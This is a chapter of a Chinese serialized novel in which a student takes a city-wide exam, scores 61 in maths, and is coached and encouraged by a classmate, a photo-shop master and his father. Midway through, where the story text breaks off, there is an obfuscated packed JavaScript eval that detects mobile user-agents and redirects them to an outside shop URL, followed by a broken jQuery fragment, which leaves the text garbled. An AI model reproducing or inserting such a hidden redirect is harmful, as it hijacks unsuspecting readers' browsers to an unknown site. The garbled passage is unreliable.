全市联考第一天，梁潮生迟到了两分钟。
不是因为睡过头。
他凌晨两点还在背英语单词，睡前把闹钟往枕头边挪了挪，结果早上铃一响，抬手按下去，闹钟从床头滚进了柜子底下。
等他醒来，梁潮平正趴在地上往柜子缝里掏。
“哥，你这闹钟挺能跑。”
梁潮生一看时间，衣服都没扣好就往外冲。
宋玉兰拎着饭盒追到楼道：“鸡蛋！”
“不要了！”
“考试不吃鸡蛋怎么行？”
“吃了也不一定一百分！”
“你以前不考试，哪来这么多讲究！”
最后那只鸡蛋还是被塞进了他书包。
梁潮生赶到教室时，监考老师刚开始发卷。周念安坐在第一排，听见后门响，回头看了一眼。
他头发乱着，衬衫最上面两颗扣子错了一颗，胸口歪出一道很明显的褶。
她只看了一秒就转回去。
梁潮生坐下以后，低头重新扣衣服。扣到一半，从桌肚里摸出一张折好的小纸条。
上面是周念安的字：
先做会的。不会的题别死耗。最后留十分钟检查姓名和答题卡。
他看完，把纸条翻过来。
背面还有一行：
鸡蛋吃掉，别放坏。
梁潮生抬头往前看。
周念安已经开始填姓名，蓝发带垂在白衬衫后面，一点也没有回头的意思。
他低声笑了一下。
监考老师敲桌子：“后排同学，不许交头接耳。”
“我没说话。”
“也不许笑。”
梁潮生低头填卷头。
姓名一栏，他写得比平时慢。
第一场语文还算顺利。
作文题目是“选择与责任”。梁潮生盯着题目看了半天，总觉得出卷老师最近可能去过红叶照相馆。
他没有写志愿表，也没写招工意向，而是写了一台被他买回来的旧双卡录音机。
前半篇还算正经，写到机器修好以后，他顺手加了一句：选择的风险不能全部由别人承担，就像坏零件不能偷偷记进韩师傅的茶钱。
写完才觉得这句话放在联考作文里有些奇怪。
可时间已经来不及改。
数学在下午。
卷子发下来时，他从第一题看到最后一题，心里先凉了半截。
周念安平时给他讲过的题型，确实出现了。
问题是出卷老师很不厚道，把数字、条件和问法全换了。原本认识的题，换了件衣服，他就又不太敢认。
第一道选择题做得很快。
第二道也会。
做到第五道，他开始卡。
以前卡住时，他会直接往后翻，翻到最后发现哪道都不顺眼，索性靠着椅背等收卷。今天他却想起那张纸条，先把题号圈起来，跳到后面。
大题第一问能写。
第二问算到一半，结果不对。
他擦掉重来，还是不对。
时间一点点过去，考场里只剩笔尖划纸和翻页的声音。梁潮生额头出了一层汗，握笔的手也越来越紧。
他第一次清楚地感觉到，一道题不会，不再只是“一道题不会”。
那道题后面连着他这些天晚睡的练习册，连着红叶柜台上周念安打过的钩，也连着那张已经交出去的高考报名表。
越想做对，越做不出来。
监考老师提醒：“还有十五分钟。”
梁潮生抬头，才发现最后一道题一笔没动。
他有点慌。
前排的周念安却已经放下卷子，开始从头检查。她动作很稳，像十五分钟不是催命，而是原本就留出来的一段时间。
梁潮生低头深吸一口气。
不会的先空着。
检查姓名。
填答题卡。
把能补的步骤补上。
最后三分钟，他在一道大题下面写出自己确定的公式。答案没算完，但至少不是空白。
收卷铃响时，他的笔尖刚停。
卷子被抽走的那一刻，梁潮生靠在椅背上，忽然比从前交白卷时还难受。
陈斌从后排凑过来：“最后那道你会吗？”
“不会。”
“那我放心了。”
“为什么？”
“你最近天天补课，我怕你背着大家偷偷进步。”
梁潮生没心情和他贫，只把草稿纸揉起来塞进桌肚。
周念安走过来：“答题卡检查了吗？”
“检查了。”
“姓名呢？”
“写了。”
“会的都做完了？”
“差不多。”
她点点头：“那就行。”
梁潮生抬眼：“哪里行？”
“你以前数学能空半张卷子。”
“这次也没做完。”
“没做完和没做，不一样。”
他说不出话。
这句话是对的。
却没让他立刻好受起来。
剩下两天，英语和综合科目考完，梁潮生难得没在考试后跟人对答案。他怕听见自己错了，也怕听见别人觉得简单。
最后一科结束，他直接去了红叶照相馆。
韩师傅正在给一对新人挑底片，看见他进门，问：“考得怎么样？”
“不知道。”
“能写的都写了？”
“嗯。”
“那就等成绩。”
梁潮生把书包往柜台下一塞，蹲下来修那台送来的收音机。
螺丝拆了三颗，他发现自己走神，把同一颗又拧了回去。
韩师傅在旁边看见了。
“你今天准备把它拆开再装回去，装回去再拆开？”
梁潮生放下螺丝刀。
“韩叔，人认真了以后，是不是容易变蠢？”
“你这话问得没有因果。”
“以前考试不会，我也没这么烦。”
韩师傅把底片袋装好，递给客人。等人走了，才慢悠悠说：“以前你又没真想要成绩。”
“现在想要，也不一定有。”
“那不正常？”韩师傅端起茶缸，“你修第一台录音机时，一晚上就会了？”
“没有。”
“坏过几个？”
“三个。”
“被人骂过没有？”
“骂过。”
“后来怎么会的？”
“接着修。”
韩师傅喝了口茶。
“考试也是活，不是你认真三天，它就得立刻给你发工资。”
梁潮生低头看着那台收音机。
“您现在说话越来越像老师。”
“主要是你最近越来越像学生。”
成绩在一周后出来。
数学六十一。
语文八十四。
英语五十三。
加上其他科目，总分比上次校内考试提高了六十七分，年级排名往前挪了四十九名。
可离周念安那种稳稳站在前列的分数，还隔着很长一段。
班主任把成绩条递给他时，先说：“进步不小。”
梁潮生低头看见数学卷上的六十一，却没笑。
他这段时间做了那么多题。
错题本写了半本。
最后也只是刚过六十分。
班主任看出他的神情，有些意外：“不满意？”
“还行。”
“你这个‘还行’听着不像还行。”
梁潮生把成绩条折起来：“就是觉得，进步得有点慢。”
班主任拿红笔敲了敲桌面。
“你落下的不是一个月。别人从高一开始学，你现在肯往回捡，已经是好事。别拿第一步去跟人家最后一百米比。”
他点点头。
走出办公室时，走廊里到处都是拿成绩条的人。
有人哭，有人笑，有人围着榜单算自己能报哪里。陈斌因为数学比上次多考了十二分，已经宣布晚上要吃两个肉包庆祝。
周念安站在窗边，看见他出来。
“多少？”
梁潮生把成绩条递过去。
她从头看到尾，先看分数，再看每科排名。
“数学比平时练习低。”
“我知道。”
“英语词汇题错得多。”
“我知道。”
“语文作文四十二分。”
梁潮生终于抬头：“这个我不知道。四十二算高还是低？”
“不低。”
“老师没说我写茶钱跑题？”
“可能老师喜欢喝茶。”
他笑了一下，很快又淡下来。
周念安把成绩条还给他。
“你不高兴？”
“六十一。”
“嗯。”
“我以为至少能有七十。”
“为什么？”
“最近做过的题不少。”
“做过，不等于会了。”
梁潮生靠在窗台边，看着操场。
“所以还是差。”
周念安没有立刻说“你已经进步很多”。
她从书包里拿出他的数学卷子，显然已经替他领了回来。
“选择题前六道全对，后面四道错了三道。基础填空对了一半，大题第一问基本都拿到分了。”
梁潮生看她：“你什么时候看的？”
“刚才。”
“我的卷子为什么在你这儿？”
“数学老师让我转交。”
她翻到后面，把一道被扣掉大半分的题指给他。
“这一题你思路对，第三步算错，后面跟着全错。如果这里不丢，能多六分。”
又翻一页。
“这道公式写对，没继续算。如果把过程补完，至少还能多四分。”
她抬头。
“你离七十没有你想的那么远。”
梁潮生盯着卷面。
红叉很多
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17778314|208021||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
可红叉之间，也确实有几行算对的步骤。
以前他的卷子不是叉多。
是空白多。
“那还补函数？”他问。
“补。”
“英语呢？”
“也补。”
“照相馆怎么办？”
“按预约排。”
“周厂长，你是不是根本不知道什么叫安慰？”
周念安把卷子合上。
“你需要安慰吗？”
梁潮生想了一下。
“不需要。”
“那做题。”
“今天就做？”
“今天的错，今天看。”
他认命地跟着她回教室。
放学后，两个人在红叶柜台前重新做那道算错的大题。
第一遍，梁潮生又在同一个地方错了。
他看着结果，脸色更差。
周念安没说话，只把草稿纸翻了一面，让他从头写。
第二遍，答案对了。
她拿红笔，在旁边画了一个钩。
梁潮生盯着那个钩。
“就这？”
“连续三题答对，才有‘不错’。”
“你还记着？”
“重要规定。”
他继续做第二题。
第二题对了。
第三题卡住十分钟，最后在她提醒一个条件后，也算了出来。
周念安拿起红笔。
梁潮生立刻把练习册往她面前推了推。
她看了他一眼，还是在三个钩后面写下：
不错。
这回他看清了。
两个字。
端端正正，跟双卡录音机账页上的一样。
梁潮生靠回椅背，长出一口气。
“周念安。”
“嗯？”
“以后别总写一样的。”
“还挑？”
“至少换个词。”
“下次再说。”
门铃在这时响了。
梁振山站在门口。
他显然已经从班主任那里知道成绩，手里却没有拿招工表，也没问机修名额，只看了一眼柜台上的数学卷子。
“考了多少？”
“总分往前四十九名。”
梁振山点点头。
“还行。”
梁潮生一愣。
他原本以为父亲会先问具体分数，会说离考上还远，或者提醒他别得意。可梁振山只说了这两个字。
还行。
比周念安的“不错”差一点。
却也是从他嘴里第一次说出来。
梁振山从衣兜里拿出一只小纸包，放到柜台上。
里面是两节新电池。
“你妈说你晚上看书，手电筒没电了。”
梁潮生低头看着电池。
“家里不是有台灯？”
“潮平拿去修坏了。”
里屋正在分螺丝的梁潮平立刻喊：“已经快修好了！”
没人理他。
梁振山离开后，梁潮生把那两节电池装进书包。
周念安问：“还难受吗？”
“有一点。”
“为什么？”
“认真以后，考不好确实比以前疼。”
她安静了一会儿。
“那说明你开始想赢了。”
梁潮生抬头看她。
“想赢就一定能赢？”
“不一定。”
“那不是更亏？”
“可你以前连自己输在哪儿都不知道。”
这句话不算温柔。
却很有用。
梁潮生低头，在错题本第一页重新写了一行：
六十一分。不是终点，也不装作无所谓。
写完以后，他又觉得太像周念安的口气，在后面添了一句：
下次先考七十，别一口吃成韩师傅。
韩师傅从暗房出来，正好看见。
“你什么意思？”
梁潮生立刻合上本子：“学习计划。”
韩师傅追着他骂了半间屋。
周念安坐在柜台后笑得低下头。
当天晚上，红叶又接到一笔学校订单。
市里要办中学生科技作品展，高三各班可以推荐一件作品。李老师带来的报名表上，项目名称一栏还是空白。
她看着梁潮生桌上拆开的录音机和那本写满错误线路的修理记录。
“你有没有想过，把旧录音机的修复和转录做成参展项目？”
梁潮生愣住。
“我？”
李老师点头。
“报名明天截止。”
又是一张等待填写的表。
这一次，梁潮生没有先看别人。
他低头看向自己的手。
指缝里还有机器留下的黑油，桌边放着刚考过六十一分的数学卷。
成绩并不好看。
可这双手，也不只会答卷。